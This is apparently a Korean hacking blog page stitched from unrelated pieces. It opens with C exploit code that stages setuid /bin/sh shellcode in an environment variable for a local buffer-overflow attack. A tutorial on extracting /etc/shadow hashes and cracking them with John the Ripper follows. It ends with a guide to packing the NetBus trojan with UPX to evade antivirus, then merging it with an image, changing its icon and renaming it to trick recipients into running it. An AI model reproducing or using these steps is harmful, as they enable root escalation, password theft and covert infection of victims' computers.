#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


#define DEFAULT_OFFSET          0
#define DEFAULT_BUFFER_SIZE     256
#define DEFAULT_EGG_SIZE        2048
#define NOP             0x90

char shellcode[] =
"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80" //setuid(geteuid())
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}

int main(int argc, char **argv)
{
char    *buff, *ptr, *egg;
long    *addr_ptr, addr;
int     offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int     i, eggsize=DEFAULT_EGG_SIZE;

if ( argc > 1 ) bsize = atoi(argv[1]);
if ( argc > 2 ) offset = atoi(argv[2]);
if ( argc > 3 ) eggsize = atoi(argv[3]);

if ( !(buff = malloc(bsize)))
{
printf("Can't allocate memory for bsize\n");
exit(0);
}

if ( !(egg = malloc(eggsize)))
    {
    printf("Can't allocate memory for eggsize");
    exit(0);
    }

    addr = get_sp() - offset;
    printf("Using address: 0x%x\n", addr);

    ptr = buff;
    addr_ptr = (long *)ptr;
    for(i = 0; i < bsize; i+= 4)
    *(addr_ptr++) = addr;

    ptr = egg;
    for(i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

    for(i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

    buff[bsize - 1] = '\0';
    egg[eggsize - 1] = '\0';

    memcpy(egg, "EGG=", 4);
    putenv(egg);
    memcpy(buff, "RET=", 4);
    putenv(buff);
    system("/bin/bash");
}
이는 root의 권한으로 수행되어야 함을 미리 알립니다.

보통 리눅스 시스템에서는 /etc/passwd 파일에 password를 저장했습니다.
하지만, 누구나 읽을 수 있는 /etc/passwd 파일은 해킹의 대상이 되었죠.
따라서, 리눅스 시스템은 /etc/shadow 라는 파일에 암호를 따로 저장합니다.

[root@xxx root]# ls -al /etc/passwd /etc/shadow
-rw-r--r--    1 root     root         2694  5월  9 14:29 /etc/passwd
-r--------    1 root     root         2024  5월  9 14:29 /etc/shadow
[root@xxx root]#

위에 보시면, passwd 파일은 other가 읽을 수 있는 권한이 있음이 보입니다.
하지만, shadow 파일은 root만이 읽을 수 있습니다. 또한, root는 수정도 할수 없지요.

중요한건 root는 읽을 수는 있다는 겁니다. 안그러면 아무 의미가 없겠죠?
아무도 로그인을 못할테니. 아무튼, 중요한건 그게 아니니까...

[root@xxx root]# cat /etc/shadow
....
test1:$1$dxH.pxpU$CpTS86RilpP5xo4igbv88/:12818:0:99991:77:::
test2:$1$ANn54aHO$GALmkrq.xUlCOb2XCNAO2/:12820:0:99991:77:::
....

위에 처럼 실행하면 해당 계정에 대한 암호화된 passwd가 보입니다.
(참고로, 위의 계정은 임의로 수정한겁니다. 크랙해도 머... 의미가... ㅋㅋ)

아무튼, test1을 크랙하고 싶다면, 그 해당 줄을 모두 복사합니다.
암호화된 부분만 가져오시면 안됩니다. (john the ripper는 있어야 함)
개인적인 생각에는 리눅스 시스템 암호화는 계정의 문자열과 그룹 번호 등등을 모두 이용하여 암호화 할지도 모른다는 생각이 드네요.
저두 암호화 쪽은 잘 몰라서 대강 그런 생각이 듭니다.
참고로, mysql 같은 경우에는 계정 문자열과는 상관없이 암호화 합니다.

아무튼, 이를 복사하여 일반 txt 파일로 저장 하면 됩니다.

예) pass.txt
내용 :
test1:$1$dxH.pxpU$CpTS86RilpP5xo4igbv88/:12818:0:99991:77:::

이렇게 저장하면 john the ripper가 crack 할수 있습니다.








다운로드 :

출처 : john의 공식 site
         http://www.openwall.com/john/

사용법 :

1. 윈도우즈 용 john the ripper를 다운 받는다.

2. 특정한 위치에 저장을 한다.

3. cmd 창으로 해당 폴더로 이동한다.

4. john the ripper 1.7.x 버전의 경우 john-386.exe가 있다.
    그 이전 버전에는 john.exe로 존재하는 경우가 있다. (Windows 버전의 경우만 그렇다. 나머진 모른다.)
   이 위치를 잘 기억해 두자. (예. c:\john1701\run\)

5. 리눅스 시스템에서 암호화된 password를 가져와서 pass.txt로 저장한다.  
    자세히 보기
 
6. c:\john1701\run\john-386.exe pass.txt를 실행한다.
    옵션에 대한 정확한 글 보기 (출처: maxoverpro님의 네이버 블로그)

7. 진득하니... 오래오래... 기다린다...
    중간중간 너무 궁금하면 아무키나 누른다... 그럼 현재 검사하고 있는 문자열을 보여준다.
    넉넉히 몇일을 기다려 주자. 쩌비...


파일 압축기 :




파일 합병기 :


본 자료는 네이버 카나리아님의 블로그에서 그대로 가져온 것입니다.



자아 하지만 거의 모든 백신들은 넷버스라는

프로그램을 잡아낼수 있게 프로그래밍 되었답니다

하지만 백신에 걸리지 않게 하는 방법이 하나 있답니다 ㅎㅎ

바로 파일을 압축해 용량을 줄여버리는 것이죠

이러면 백신의 감시망에 걸리지 않고 컴퓨터 속으로 잠입할수 있답니다 ㅎㅎ

으음 하지만 이 프로그램을 압축하기 위해선 해커들만의 특수한 프로그램을 써야 하는데요

바로 이것입니다~ 짜잔~

Upx125w <-용량 압축기랍니다 ㅎㅎ

바로 이것을 사용해 파일의 용량을 줄일수 있답니다

그럼 어디 사용법을 알아볼까요?

자아~ Patch.exe를 백신에
안걸리기 위해서
일단 Patch를 용량을 줄여야 한답니다
Upx125w프로그램을 사용하여 용량을 줄여 봅시다
(제가 직접 첨부해 올렷답니다 ㅎㅎ~)
자자 사용하는 방법은 간단합니다.

일단 내컴퓨터들어가셔서 C드라이브들어가셔서 폴더를 하나만들어 줍니다.

사용자 삽입 이미지

폴더이름은 upx125w로 해주시구요. 네 이제 폴더안에 압축을 풀어주세요~

사용자 삽입 이미지
 
 
압축을 푸신다음 시작 - 모든프로그램 - 보조프로그램에서 명령프롬프트나 도스창을 열어요..
XP의 경우 명령프롬프트이고 그외에 운영체제는 도스창을 키세요..
윈도우 2000하고 ME도 명령프롬프트였나.. 기억은 안나지만 명령프롬프트, 도스창
둘중에 하나를 키시구요..
 

사용자 삽입 이미지

 
 
네.. 이제 명령프롬프트를 키셨으면 cd..라고 치고 엔터를 칩니다. 2번을 그렇게 치시면 C 드라이브로 내려갈거에요~
 
사용자 삽입 이미지
 
 
cd.. 라는 명령어는 하위폴더로 가는것입니다.. 하위폴더로 한칸가는 명령어라고 할수있습니다.
여기서 cd upx125w를 치고 엔터를 칩니다.. cd는 위의 폴더로 간다는 뜻입니다. cd upw125w는
"간다. upx125w폴더로" 라는 뜻이랍니다 ㅎㅎ~
사용자 삽입 이미지

이제 본격적으로 넷버스의 patch파일을 upx125w폴더에 넣습니다(복사하세요)
 

사용자 삽입 이미지

 
복사를 해주시고 명령프롬프트에 upx patch.exe라고 쳐주시면 된답니다~
 
사용자 삽입 이미지
 
치시면 저렇게 퍼센트가 나오면서 압축이 됩니다용~
 
사용자 삽입 이미지
 
이제 압축이 다 됐습니다.. 휴우~ 이제 넷버스의 patch파일은 백신에 걸리지 않지요오~
(걸리는 백신 몇몇 있습니다.. -_-; 이렇게해서 안걸리면 넷버스는 천하무적이죠.. 넷버스는
크랙툴도 아닌 그냥 공부용입니다.. 걸리는건 당연하죠.. 이렇게 해서 걸릴 위험을 좀더 줄이는
것이죠.. 용량도 줄이고.. 넷버스를 배우면 크랙의 반을안다.. 넷버스를 다 배우시면
모르는 크랙을 다루는게 더 쉬워질것 입니다. 넷버스만 이용하지 마시고요.
다른 크랙들도 사용하여 보고 정보를 나눠 봅시다..
 
넷버스 patch파일을 용량줄여서 백신에 안걸리게 했는데요.
Patch파일을 등록정보 보시면 기존 Patch파일용량은 484KB
upx를 이용해 용량을 줄인 패치의 용량은 194KB로 확 줄었지요.
백신을 속이기는 했는데.. 이걸 사람한테 보내야 되는데.. 이젠 사람을 속여야겠지요?

거의 대부분의 사람들은 넷버스의 패치를 알고 있어요. 그래서 사람들을 속이기에
파일명도 바꾸고 아이콘도 바꿔야 하지요.
그래서 이번엔 powermerge 프로그램을 써서 사람들 속여 봅시다.
일명 파일 합치기 인데요. 한번 배워봅시다. (ㅎㅎ 같이 첨부했어요~)
아무데나 압축을 푸신후 powermerge.exe를 클릭해 봅시다.

사용자 삽입 이미지

 
 
일단 1nd File에서 Load를 클릭하여 패치를 놓습니다.
그리고 2nd에서 File에는 자신이 올리고 싶은 프로그램 (그림,음악,게임 모든게 됩니다.)
을 놓습니다.. 용량 너무 높게 하지마세요. 그림이 가장 좋습니다. 용량도 낮고..
2nd파일에서 파일형식을 All로 바꿔주시고 하세요.
 
 
사용자 삽입 이미지
 
 
파일들을 각각 놓으셨다면 이제 아이콘을 변경해야하지요..
 

사용자 삽입 이미지
 
 
 
Icon버튼을 누르시고 원하는 아이콘을 놓으시고 Merge!를 클릭하시면 됩니다.
그럼 완성이 되는데요. 이제 이름을 바꿔봅시다.

사용자 삽입 이미지

텍스트는 그냥 지워주시구요. 저는 겨울이라는 그림과 패치파일을 합쳐서 만든것 입니다. 아이콘은 그림모양으로 했지요.

저상태에서 보내면 바로 들킵니다.. 이름을 바꿔주셔야죠.  Patch.겨울.exe 인데 여기서 Patch.을 지워주시구요.

그럼 겨울.exe가 됩니다..


사용자 삽입 이미지

이제 사람들한테 보내기만 하면 됩니다.. 저걸 클릭하면 Patch를 클릭한거랑 같지요..

저걸클릭하면 합쳤던 그림이 나오고 패치는 적용 되는것이죠~



+ Recent posts